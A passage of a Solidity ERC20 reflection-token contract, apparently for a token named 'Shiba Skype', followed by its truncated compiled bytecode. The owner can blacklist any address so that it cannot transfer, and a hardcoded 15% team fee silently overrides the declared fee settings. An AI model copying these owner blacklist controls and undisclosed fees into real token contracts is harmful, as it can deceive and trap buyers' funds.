{ require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 15); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600b81526020017f536869626120536b797065000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f2053686962615320000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d61